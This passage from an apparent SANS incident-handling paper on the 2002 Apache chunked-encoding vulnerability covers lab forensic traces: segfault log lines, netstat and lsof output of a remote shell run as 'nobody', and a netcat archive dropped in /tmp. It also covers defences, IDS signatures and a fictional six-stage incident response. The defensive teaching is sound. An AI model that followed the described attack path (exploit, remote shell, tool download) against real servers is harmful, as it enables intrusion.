[Sat Aug 17 <time> 2002] [notice] child pid <pid> exit signal Segmentation fault (11)
[Sat Aug 17 <time> 2002] [notice] child pid <pid> exit signal Bus error (10)
[Sat Aug 17 <time> 2002] [notice] child pid <pid> exit signal Illegal instruction (4)
[Sat Aug 17 <time> 2002] [notice] child pid <pid> exit signal Arithmetic exception (8)
```

4.5.d. Messages / syslog events
For a default installation of both operating systems, we have the following situations:

**OpenBSD**: On the default installation of the OpenBSD with a default apache installation, no entries have been found in the `/var/log/messages` file or other system log files.

**NetBSD**: Same behavior as on OpenBSD, no entries have been found in `/var/log/messages` or other system log files.

4.5.e. Netstat connections

**OpenBSD**
The netstat command issued like this “netstat -an” shows among all the other connections the following:

```
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address       Foreign Address       (state)
Tcp    0      0  192.168.254.53.80   192.168.254.3.1051    ESTABLISHED
```

If the attacker stays on the system, this connection could be there for a long time.

**NetBSD**
The netstat command issued like this “netstat -an” shows among all the other connections the following:

```
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address       Foreign Address       State
tcp    0      0  192.168.254.52.80    192.168.254.3.1351     ESTABLISHED
```

<similar packets left out for reading purposes>
We can see the same as for OpenBSD but here we can see also a lot of connections to the webserver in the TIME_WAIT state. These connections all have source ports that are incrementing by one until the ESTABLISHED connection to the webserver. This is the result of the brute forcing tool. The output of the netstat command is more of importance when performing the incident handling than when trying to find the intruder.

4.5.f. List of open files

**OpenBSD**
The following entries have been found in the list of open files. The command was issued like this: “lsof”. Only the interesting part is shown. This list of open files has been taken right after a compromise.

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE/OFF</th>
<th>NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>sh</td>
<td>23482</td>
<td>nobody</td>
<td>cwd</td>
<td>VDIR</td>
<td>0,0</td>
<td>512</td>
<td>/</td>
</tr>
<tr>
<td>sh</td>
<td>23482</td>
<td>nobody</td>
<td>txt</td>
<td>VREG</td>
<td>0,0</td>
<td>307200</td>
<td>166674 /bin/sh</td>
</tr>
<tr>
<td>sh</td>
<td>23482</td>
<td>nobody</td>
<td>0u</td>
<td>IPv4</td>
<td>0xe08146bc</td>
<td>0t0</td>
<td>TCP open:www-&gt;192.168.254.3:1051 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>23482</td>
<td>nobody</td>
<td>1u</td>
<td>IPv4</td>
<td>0xe08146bc</td>
<td>0t0</td>
<td>TCP open:www-&gt;192.168.254.3:1051 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>23482</td>
<td>nobody</td>
<td>2u</td>
<td>IPv4</td>
<td>0xe08146bc</td>
<td>0t0</td>
<td>TCP open:www-&gt;192.168.254.3:1051 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>23482</td>
<td>nobody</td>
<td>3u</td>
<td>IPv4</td>
<td>0xe08146bc</td>
<td>0t0</td>
<td>TCP open:www-&gt;192.168.254.3:1051 (ESTABLISHED)</td>
</tr>
</tbody>
</table>

**NetBSD**
Here we can see the same behavior as for OpenBSD. We can easily see that the shell (/bin/sh) has been run by a remote user due to the four different TCP connections shown in the list of open files.

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE/OFF</th>
<th>NODE NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>cwd</td>
<td>VDIR</td>
<td>0,0</td>
<td>512</td>
<td>/</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>txt</td>
<td>VREG</td>
<td>0,0</td>
<td>428248</td>
<td>8990 /bin/sh</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>0u</td>
<td>IPv4</td>
<td>0xc080d0b8</td>
<td>0t0</td>
<td>TCP 192.168.254.52:www-&gt;192.168.254.3:1351 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>1u</td>
<td>IPv4</td>
<td>0xc080d0b8</td>
<td>0t0</td>
<td>TCP 192.168.254.52:www-&gt;192.168.254.3:1351 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>2u</td>
<td>IPv4</td>
<td>0xc080d0b8</td>
<td>0t0</td>
<td>TCP 192.168.254.52:www-&gt;192.168.254.3:1351 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>3u</td>
<td>IPv4</td>
<td>0xc080d0b8</td>
<td>0t0</td>
<td>TCP 192.168.254.52:www-&gt;192.168.254.3:1351 (ESTABLISHED)</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>15w</td>
<td>VREG</td>
<td>0,4</td>
<td>46732 172643 /usr (/dev/wd0e)</td>
<td></td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>16u</td>
<td>IPv4</td>
<td>0xc07e3000</td>
<td>0t0</td>
<td>TCP *:www (LISTEN)</td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>17w</td>
<td>VREG</td>
<td>0,4</td>
<td>689 172644 /usr (/dev/wd0e)</td>
<td></td>
</tr>
<tr>
<td>sh</td>
<td>2515</td>
<td>nobody</td>
<td>18w</td>
<td>VREG</td>
<td>0,4</td>
<td>290 172645 /usr (/dev/wd0e)</td>
<td></td>
</tr>
</tbody>
</table>
4.6. How to protect against it

4.6.a. Protection Measurements – running vulnerable versions
In this part, some measurements are given to people who are running a vulnerable version of the apache webserver and who want to make sure that they do everything they can in order to protect their webserver and to prevent an intrusion. The first two protection measurements are firewall related, first something more about regular firewalls followed by information about application level firewalls. Next topic deals with hardening – something that should be done to every server connected to the internet in one way or another. The last protection measurement handles upgrading a vulnerable version to a non vulnerable version; you will find the upgrade procedure used to upgrade the test systems in the test lab environment.

1. Installing a firewall
Installing a regular firewall (these can be access lists on the border router, a simple packet filtering device or statefull inspection firewalls) to protect against the Apache chunked encoding vulnerability is not a “real” protection but only limits what the attacker(s) can do. Placing a filtering device on the webserver itself or in front of the webserver (placing the webserver in a demilitarized zone) and limiting access to and from the webserver (e.g. only allowing port 80/tcp to the webserver and dropping everything else what isn’t needed, incoming as well as outgoing traffic) is not a real protection but could limit the attacker’s possibilities. A strong ruleset would not allow outbound connections from the webserver to the internet and the only inbound connections allowed would be on the default http port (80/tcp). Rulesets like this prevent the attacker from connection backwards to another machine owned by the attacker in order to download all sorts of tools to do his thing.

2. Installing an application level firewall
Next to a firewall, one could also install an application level firewall. An application level firewall is capable of filtering at the application layer instead of at the network layer. In other words, those firewalls can look for attacks at the application layer. This means that this type of firewalls can weed out incorrect or bad requests directed to the target webserver. They can make sure that nothing passes but the desired protocol with the restrictions (read: filtering rules) applied. Application level firewalls are sometimes also called proxy-level firewalls since the act as an advanced proxy between the client and the target webserver. Some examples of such application level firewalls are the appshield (from Sanctum – http://www.sanctuminc.com/solutions/appshield/index.html ) and the dmz/shield (from Ubizen – http://www.ubizen.be/c_products_services/3_ubizen_dmzshield/c331.html ).

3. Hardening of the web server
The following protection measurement is to harden and strip down the webserver completely; leaving nothing on the system that attackers could abuse once they get on the system. Before the actual hardening takes place, the first thing to do is
to know what the system will be used for (in this case a webserver) and to identify what components and packages are absolutely needed and which ones could be removed from the system. All the things not needed for the identified purpose of the machine will be removed or disabled. Hardening turns a default installed machine into a single purpose and stripped down system, limiting the possibilities of possible attackers.

A guideline on hardening an OpenBSD operating system can be found on the following website: http://geodsoft.com/howto/harden/

4. Upgrading the http daemon

The real protection measurement to this attack however, is to upgrade to the latest versions of the Apache Web Server (1.3.26 and 2.0.40 at the time of writing). These versions are fully patched against the Apache Chunked Encoding vulnerability.

The procedure followed to upgrade to a newer version of the apache server is (if the default settings and locations are used):

- download and unpack the apache 1.3.26 sources
- stop the old apache server version
- make a backup copy of the configured websites and of the httpd.conf configuration file
- run “./configure”
- run “make”
- run “make install”
- start the new apache server version
- verify that the apache server has been upgrade by checking the banner
- verify that the configured websites are still there
- verify the httpd.conf configuration file

4.6.b. What should the vendor(s) do?

The vendor – which is Apache in this case – should (and did) fix this issue and release patches or updates packages addressing this issue.

At the time of writing, Apache already released new packages. The latest versions are currently Apache 1.3.26 and Apache 2.0.40. Both are downloadable from http://www.apache.org/dist/httpd/ for various operating systems.

Vendors who incorporated the apache webserver in their own products also released patches and updated packages to fix this vulnerability. A complete list of the vendors that did this can be found on the securityfocus website on the following url: http://online.securityfocus.com/bid/5033

4.6.c. How can better detection be performed?

To get a better detection level (next to the already present network intrusion detection system), I tried the following things:

- On the apache webserver: log configuration was modified
- operating system level: modify log configuration
• operating system level: watch /tmp directory
  • Install an intrusion detection system on the system itself (host based IDS)

1. Better logging for the apache webserver:
In the attempt to get better logging from the apache webserver itself, the following things were tried against the two test systems.

**NetBSD**
The configuration file httpd.conf (in /usr/local/apache/conf/) was changed in an attempt to get better logging of an attack.

```
#LogLevel warn
LogLevel debug

CustomLog /usr/local/apache/logs/referrer_log referrer
```

This didn’t do exactly what was expected. The only thing more that appeared in the error_log file was informational messages ([info]) in the style of the following:

```
[<date> <time>] [info] server seems busy, (you may need to increase
StartServers, or Min/MaxSpareServers), spawning 8 children, there are 0 idle,
and 4 total children
```

These messages are due to the brute forcing we used, if no brute forcing was used, these messages wouldn’t have appeared. The referrer_log and access_log files weren’t populated during the attack since these are only used when connecting with a regular browser to the webserver.

**OpenBSD**
Here I changed the same things in the httpd.conf configuration file but on this platform, there were no extra logging messages. No buffer overflow attack was used here, only a predefined target.

2. Better logging on the Operating system level:
For both operating systems, no additional logging was possible as far as I know. A line was added to the configuration file of the syslog daemon (/etc/syslog.conf) but this didn’t do much.

```
*.* /var/log/log-all
```

Again, not much logging is possible. This is also not a good thing to rely on for detecting this attack.

3. Watching the /tmp directory
Since the temporary directory was world readable, writable and executable it would be a good idea to watch what happens here. Using a /tmp directory watcher that notices everything what happens into this directory (read files, writing files, deleting files or executing files) should already provide the system administrator with a good view of what is happening so that he can handle as appropriate.
The following tool was tested to satisfy the need to do this. The drawback of this tool is that it is only capable of seeing files were created/written or deleted. The tool used was dirwatch (can be downloaded from http://pedram.redhive.com/projects.php?category=all#dirwatch_1.0)

To be able to use this tool, it had to be compiled in the following way:

g++ dirwatch.cpp -o dirwatch -DLINUX

The command used to run dirwatch (as a process in the background) was the following:

./dirwatch > dirwatch-log.txt &

The output we get when dirwatch is running is for example the following (output is from an attack where Netcat was downloaded into the /tmp directory).

[dirwatch]
watching: /tmp

[+] .
[+] ..
[+] hacked.txt
[+] netcat.tar.gz
[-] netcat.tar.gz
[-] hacked.txt
exiting...

In this log, the “+” means that the file is created or written and the “-“ means that the file has been removed. If more information is needed that only this output, the following argument for verbose mode can be passed to the dirwatch command:

./dirwatch -v > dirwatch-log.txt &

The output then looks like this:

[dirwatch]
watching: /tmp

[+] drwxrwxrwx  root  wheel   512       .
[+] drwxrwxrwx  root  wheel   512       ..
[+] -rw-r--r--  nobody  wheel   28     hacked.txt
[+] -rw-r--r--  nobody  wheel    0     netcat.tar.gz
exiting...

Note that the file size of “netcat.tar.gz” is indicated incorrectly.
The dirwatch program already gives a good idea of what is happening in the /tmp directory.

4. Installing an additional IDS on the server itself
You can also install an intrusion detection system on the server itself to provide additional logging. This could evolve from a host based intrusion detection that checks for specific entries in log files and that also checks system critical files to a network based intrusion detection that performs checks on the incoming and outgoing TCP/IP connections or a combination of both. Choosing for a combination of both is in my opinion the best choice since attacks will be noticed...
on the network level in real-time and actual intrusions will be noticed in the various log files on the system (if this logging is possible of course). A possible host based intrusion detection system in the lab environment is to simply check the log files of the apache (and - if installed - the dirwatch program) for specific entries. A simple tool like logcheck – now called logsentry - (from the following url directly http://insecure.dk/openbsd/logcheck-1.1.1.tgz or from the website of psionic, the current maintainer of logsentry http://www.psionic.com/products/logsentry.html) can be used but also more advanced host ids systems (or even hybrid ids systems) can be used. An example of a hybrid IDS system is Prelude Hybrid IDS (http://www.prelude-ids.org/).

One could also consider installing tripwire as well but this is more a file integrity checker, making sure that the files installed are not modified.

To illustrate the host intrusion detection, logcheck was tested in the lab environment. The following line was added into the logcheck.sh script (default location /usr/local/etc/logcheck.sh) to reflect the system settings. This is in fact an additional log file to check.

```bash
$LOGTAIL /usr/local/apache/logs/error_log >> $TMPDIR/check.$$
```

The following word was added to the logcheck.violations file (default location /usr/local/etc/logcheck.violations) to make sure the string we want to check for is used.

```bash
Segmentation
```

A sample report of what the output of logcheck might look like is this:

```bash
Security Violations
[<date> <time> 2002] [notice] child pid <pid> exit signal Segmentation fault (11)
```

```bash
Unusual System Events
[<date> <time> 2002] [notice] child pid <pid> exit signal Segmentation fault (11)
```

This report can be send by mail to the network administrator or security officer to notify that there is a potential problem.

The logcheck script can be used in a cronjob to check the log files each hour.

5. Conclusions
To conclude the attempts to detect this attack in a better way, we can say the following: With the lack of logging on the apache webserver level it’s almost impossible to find out who (the source ip address) attacked the system in case of an intrusion when only this logging is enabled. People relying on the logging of the system itself are also fairly blind (nothing is noticed) when an attack or intrusion occurs. Using a /tmp directory watcher gives a good overview of what is going on in that particular directory. If something strange happens (user nobody
that is creating a file for example) this can be logged or other actions can be taken to alert the system administrator or security officer. Only when other detection measurements like an intrusion detection system or firewalls are used, this detection could be far easier. The intrusion detection system can be used as a standalone network IDS or as a host IDS, installed on the webserver itself. This host based intrusion detection can check specific log files to find specific attack signatures known to belong to certain attacks. The reports can be mailed to the administrator.

So we can see that we can perform better detection of this kind of attack using some simple measurements. The best detection would be using a combination of the several methods (described in the previous sections) but then time synchronization between the several machines involved is needed. This time synchronization can be done using ntp (network time protocol).
5. The Incident Handling Process

This part will be completely theoretical since the tests were performed in a lab environment.
First, an incident at a certain company is shown (completely fictive and theoretical). This incident is then torn apart into the 6 stages of the incident handling process.

5.1. The Incident

Imagine that the web servers belong to the fictive company “Apaco”. References to existing names of people, companies or other are totally accidental.

The IT security officer (secoff) noticed specific events in the IDS log files and decided to write these down in a logbook and to notify the IT security manager.

Logbook entries:

1. Sept 4, 2002 08h45 am: IDS Events: “WEB-MISC Transfer-Encoding: chunked” and “WEB-ATTACKS id command attempt”
2. Sept 4, 2002 08h47 am: Checked firewall logs, connection attempt from webserver to the internet
3. Sept 4, 2002 08h50 am: Started checking the webserver with the following commands: netstat (showed 1 single connection to the webserver) and lsof (showed that /bin/sh was in use by “nobody” and apparently from a remote site.
4. Sept 4, 2002 09h00 am: Notified IT security manager

The IT Security manager then on his part notified the Management of Apaco. They decided that the servers should be taken offline to be able to investigate them but that the website functionality had to be restored as soon as possible.

The logbook has now the following additional entries:

5. Sept 4, 2002 09h05 am: IT Security manager notified CEO. Decision: take server offline to investigate but restore functionality ASAP
6. Sept 4, 2002 09h08 am: Compromised server was taken offline by pulling the network cable
7. Sept 4, 2002 09h10 am: A maintenance webserver was put in place stating that the site was down due to maintenance.

So the secoff was instructed to investigate the compromise. He decided to take a backup before he began with it. Like that he thought he wouldn’t erase traces of the intrusion on the system. The compromised server was then re-installed and reconfigured completely from scratch on spare hardware. This time with the correct and updated software patches and fixes applied.

The logbook was filled with the following entries:

8. Sept 4, 2002 09h45 am: Made backup of compromised server by duplicating the disk with the UNIX command “dd”. (The disk of the compromised server has been put in another server to accomplish this).
9. Sept 4, 2002 00h00 pm: Started to rebuild server from scratch (OS + server) on spare hardware
10. Sept 4, 2002 02h10 pm: Installed latest updates and fixes.
11. Sept 4, 2002 03h00 pm: Made a full documentation of the server with version numbers included
12. Sept 4, 2002 03h15 pm: Checked the server with a vulnerability scanner
13. Sept 4, 2002 03h30 pm: Connect the rebuilt server in place of the maintenance server
14. Sept 4, 2002 03h32 pm: Notified IT security manager
15. Sept 4, 2002 03h35 pm: IT Security manager notified management that functionality was back
16. Sept 4, 2002 03h40 pm: Started the investigation of the compromised server.
17. Sept 4, 2002 03h55 pm: Logfiles of the Apache webserver show a segmentation fault event.
18. Sept 4, 2002 04h05 pm: Discovered suspicious files in the /tmp directory on the webserver

After bringing the rebuilt server back online, the secoff started with his investigation. He looked at the system log files, the apache log files and looked into several other places where files could be hidden. In the system log files nothing was found but in the apache log files, he noticed an event stating that a segmentation fault occurred on the webserver. When the secoff investigated the file system, he noticed several files in the /tmp directory, all with a very recent timestamp and some of those files were executable. The files the secoff found were actually files placed by the intruder for later use.

The evidence that the security officer was able to gather is the following list:
- IDS Event logs. These can be seen in the log files of the intrusion detection system
- Firewall logs: These show a connection attempt to the internet from the webserver
- Output of the netstat command shows that a single connections exists to the webserver
- Output of the lsof command shows that /bin/sh is in use of “nobody”, coming from a remote location (ip address is logged here)
- The logbook where he kept all events that occurred while handling this incident
- The suspicious files he found in the /tmp directory of the compromised system
- The file-system image created with dd
We can create an incident handling flowchart from this incident. This flowchart looks like this:

![Flowchart of the incident handling process used](image)

The “NO” choices are certainly not recommended but not imaginable since these decisions are made by management people.

5.2. First stage: Preparation

The existing countermeasure in place to detect this incident was only an Intrusion Detection System (Network IDS) and a firewall protecting the company’s network from the internet.

There was no incident handling process present and known before this attack happened. Therefore, there was no incident handling team either. The security officer was the only person investigating and handling this incident and the secoff reported to his IT Security manager, so we could see these two persons as the incident handling team.

Prior to this attack, there were no policies regarding incident handling and no procedures to follow during the incident handling process. However, the IT Security officer had full support of his/her IT Security manager.

This was the first bad thing to happen to this company so no jump bag was available at the time of the intrusion either.

5.3. Second stage: Identification

The identification of this attack was easily performed using the following:

- Log files of the apache webserver
- IDS events showing in the IDS log files
Output of the commands `netstat` and `lsof`. These commands were executed after the events in the IDS was noticed and showed that there was a possible intruder busy on the system.

- Log of the firewall (outbound connection attempt)

So this attack was fairly quickly identified as an incident since there was an “id” command attempt as well. The only countermeasure that the company had was a firewall. This firewall wasn’t a real protection since this was a pure web based attack. The intrusion detection system was very successful in alerting the IT Security officer. This secoff investigated the server with a `netstat` and `lsof` command. He identified this as a compromise since /bin/sh was run by user “nobody”. This user shouldn’t be able to run /bin/sh at all.

**Log file of the apache webserver**

```
```

**IDS Events**

```
[Classification: Web Application Attack] [Priority: 1]
09/04-14:19:19.783155 v.w.x.y:1026 -> 192.168.254.53:80
TCP TTL:64 TOS:0x0 ID:39885 IpLen:20 DgmLen:518 DF
***AP*** Seq: 0x22BCDE78 Ack: 0xD0947B13 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 63932 517635502
[Xref => http://www.securityfocus.com/bid/4474]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0079]
[Xref => http://www.securityfocus.com/bid/5033]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0392]
```

```
[**] [1:1133:4] WEB-ATTACKS id command attempt [**]
[Classification: Web Application Attack] [Priority: 1]
09/04-14:19:19.983096 v.w.x.y:1026 -> 192.168.254.53:80
TCP TTL:64 TOS:0x0 ID:39888 IpLen:20 DgmLen:147 DF
***AP*** Seq: 0x22BCDE6B Ack: 0xD0947B20 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 63952 517635503
```

**Output of netstat**

```
Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address       Foreign Address       (state)
Tcp        0      0  192.168.254.53:80 v.w.x.y.1051    ESTABLISHED
```

**Output of lsof**

```
COMMAND    PID   USER   FD   TYPE     DEVICE SIZE/OFF   NODE NAME
sh       23482 nobody  cwd   VDIR        0,0      512        2 /  
sh       23482 nobody  txt   VREG        0,0    307200  166674 /bin/sh  
sh       23482 nobody  0u  IPv4 0xe08146bc 0t0   TCP open:www->
sh       23482 nobody  0u  IPv4 0xe08146bc 0t0   TCP open:www->
v.w.x.y:1051 (ESTABLISHED) 
sh       23482 nobody  1u  IPv4 0xe08146bc 0t0   TCP open:www->
v.w.x.y:1051 (ESTABLISHED) 
sh       23482 nobody  2u  IPv4 0xe08146bc 0t0   TCP open:www->
v.w.x.y:1051 (ESTABLISHED) 
sh       23482 nobody  3u  IPv4 0xe08146bc 0t0   TCP open:www->
v.w.x.y:1051 (ESTABLISHED) 
sh       23482 nobody 15w  VREG        0,0    725283 16577 /(/dev/wd0a) 
sh       23482 nobody 16u  IPv4 0xe07f5d70 0t0   TCP *:www (LISTEN) 
```
From the entries in the firewall log we can see that from the webservers a
collection was made to the attacker machine using the tftp protocol. This is how
the attacker could successfully download programs to the compromised system.

The identification steps shown above are at the same time also a part of the
evidence of the attack. The rest of the evidence is located in the temporary
directory /tmp where the attacker has put his files.

5.4. Forth stage: Containment

Management decided that the server had to be taken offline and that the
maintenance site had to be brought up. This was the measure that was taken to
control the problem.

The server was taken offline by pulling the network cable. By pulling the network
plug, the connection with the attacker machine was dropped. Next, the power
was turned off. This was done by switching the power off, not by halting the
server. By doing so we have the state of the system as it was when powering
down. After bringing the system down, the harddrive was removed from the
server and fixed in another system with a spare harddrive in it (to hold the
image). Now the sec off could start take an image of the compromised harddrive.
This was done by using the “dd” command. The harddrive of the compromised
system was the second drive in the system (/dev/hdb). The spare harddrive was
mounted on the partition /images. The exact command issued to make an image
was:

```
dd if=/dev/hdb of=/images/image-compromised-disk
```

Like this, the full compromised harddrive existed in one single image. This image
was then backed up on tape to be sure that the information would be available at
later times.

The following tools and hardware are part of the jump bag used for this incident
handling process. Since there was no jump bag prior to this incident, this list is
somewhat limited to the things that were needed for handling just this incident.

Tools used:
- dd
- netstat
- lsof

Hardware used
- Maintenance server, used to put up a maintenance webpage
- Extra machine with extra hard-drive in it, needed to backup the system
The backup process used in this case:
- The harddrive was removed from the compromised system
- The harddrive was fixed in another machine
- The harddrive was duplicated with "dd"
- Then the image of the compromised hard drive was backed up on tape

5.5. Fifth stage: Eradication

The cause of this attack was a vulnerability in the webserver software that was being used (apache http daemon). The vulnerability in question was the Apache Chunked Encoding Vulnerability, as the intrusion detection log files pointed out first and was later verified with the apache log files and the output of netstat and ls/of.

So all the symptoms of this attack and all the traces found pointed out in the direction of the chunked encoding vulnerability (as well as the IDS log files did).

The company defenses against this vulnerability (and other vulnerabilities as well) were improved by fine-tuning the firewall rules so that no more outbound connections from the webserver to the internet were possible.

Eliminating the problem was a fairly simple task since updating the apache http server package to the latest version (currently 1.3.26) solves this problem.

Cleaning up all the traces of the intrusion was also a fairly easy task since the attacker was only able to write files into the /tmp directory. Emptying this directory (read: deleting all files in the /tmp directory) was enough to cleanup this intrusion.

Note! If the attacker would have had root access to this machine, cleaning up wouldn’t be that easy since probably a rootkit would have been installed and configuration files could have been changed then. Cleaning up could then be done by completely rebuilding the server and erasing the old server.

5.6. Sixth stage: Recovery

The webserver functionality was recovered by a complete rebuild of the system. This rebuild included the reinstalation of the OS, the installation of the updated apache server package and the writing of full documentation of this installation. After installation and configuration and before bringing back online, the freshly installed server was fully tested for known vulnerabilities. Also, by means of a test, the exploit (apache-nosejob) was run against the updated apache server package to see the behavior after upgrading.

Changes to the new system compared to the original web server were the following:
- a temporary directory watcher was used to keep an eye on the /tmp directory
- the system was hardened following the guidelines described on http://geodsoft.com/howto/harden/
- a host based intrusion detection system was used to alert the administrator in case of a possible intrusion
5.7. Lessons Learned

What could allow incidents like this to occur is a lack of up to date web servers. Not installing the latest security fixes and updates is a big security risk for system and network administrators.

The biggest lesson learned is that Incident Handling procedures are needed. Also needed is a full system documentation to be able to recover the system as it was before the attack. This documentation should be modified with the fixes and patches applied when these come out and with the changes to the system (hardening measurements, host based intrusion detection systems).

Also a big lesson learned is that prevention of attacks is very much needed as well. This prevention includes the following list:

- keeping up with patches (by subscribing to a notification mailing list or by regularly checking the vendors website)
- don’t allow outbound connections from the webserver if these are not needed (these outbound connection restriction has to be done on the firewall or border gateway)
- certainly use a firewall to keep track of all connections in- and outbound
- use an intrusion detection system (at least network based, preferred is a combination of network and host based)
- hardening of your systems: don’t rely on a default installation but tweak and modify everything that can be tweaked or modified. This especially for internet connected servers.

The flowchart shown above is now fitted into a company incident handling procedure.

In the incident handling process of section 5.1 there is no chain of custody used. The reason why is that the security officer did not had the experience and training and there were no written procedures to follow. The secorf has some basic incident handling knowledge. This can be noticed by the things he did do:

- writing events in a logbook
- Used “dd“ to create an image of the compromised server

However, some things went wrong and these could damage the integrity of the evidence gathered. These things are:

- no write lock was used prior to taking the image with dd
- the secorf did not use a cd with safe tools (such as netstat, lsof…)
- no names are mentioned in the logbook
- quality control of the evidence was not applied (due to no training)
- the physical actions of the secorf (taking hard drive out etc.) were not mentioned in the logbook
- no procedures for incident handling exist
6. List of References


   URL: http://online.securityfocus.com/bid/5033 (June 2002)

   URL: http://www.cert.org/advisories/CA-2002-17.html (June 2002)

   URL: http://httpd.apache.org/info/security_bulletin_20020620.txt (June 2002)

   URL: http://online.securityfocus.com/archive/1/279529/2002-06-26/2002-07-02/0 (June 2002)

   URL: http://online.securityfocus.com/archive/1/278281 (June 2002)

   URL: http://www.w3.org/Talks/9608HTTP/sld029.htm (July 2002)

[8] Apacheweek, HTTP/1.1, August 16th 2002  


    URL: http://www.cplusplus.com/ref/cstring/ (July 2002)

    URL: http://httpd.apache.org/docs/ (July 2002)

    URL: http://www.phrack.org/phrack/49/P49-14 (July 2002)


# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Munich March 2020</td>
<td>Munich, Germany</td>
<td>Mar 02, 2020 - Mar 07, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Secure Japan 2020</td>
<td>Tokyo, Japan</td>
<td>Mar 02, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Spring 2020</td>
<td>Reston, VA</td>
<td>Mar 02, 2020 - Mar 07, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session @ work- SEC542</td>
<td>Oklahoma City, OK</td>
<td>Mar 03, 2020 - Apr 02, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS St. Louis 2020</td>
<td>St. Louis, MO</td>
<td>Mar 08, 2020 - Mar 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Prague March 2020</td>
<td>Prague, Czech Republic</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Dallas 2020 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>Dallas, TX</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Dallas 2020</td>
<td>Dallas, TX</td>
<td>Mar 09, 2020 - Mar 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Doha March 2020</td>
<td>Doha, Qatar</td>
<td>Mar 14, 2020 - Mar 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Norfolk 2020</td>
<td>Norfolk, VA</td>
<td>Mar 16, 2020 - Mar 21, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Francisco Spring 2020</td>
<td>San Francisco, CA</td>
<td>Mar 16, 2020 - Mar 27, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Kuwait March 2020</td>
<td>Salmiya, Kuwait</td>
<td>Mar 21, 2020 - Mar 26, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Austin SEC504 @ CISCO</td>
<td>Austin, TX</td>
<td>Mar 23, 2020 - Mar 28, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Community SANS Ottawa SEC560</td>
<td>Ottawa, ON</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Frankfurt March 2020</td>
<td>Frankfurt, Germany</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Austin, TX</td>
<td>Apr 01, 2020 - Jun 03, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Denver, CO</td>
<td>Apr 03, 2020 - Apr 24, 2020</td>
<td>Mentor</td>
</tr>
<tr>
<td>SANS Riyadh April 2020</td>
<td>Riyadh, Kingdom Of Saudi Arabia</td>
<td>Apr 04, 2020 - Apr 16, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS 2020 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>Orlando, FL</td>
<td>Apr 05, 2020 - Apr 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Mentor Session - SEC504</td>
<td>Chicago, IL</td>
<td>Apr 07, 2020 - May 19, 2020</td>
<td>Mentor</td>
</tr>
</tbody>
</table>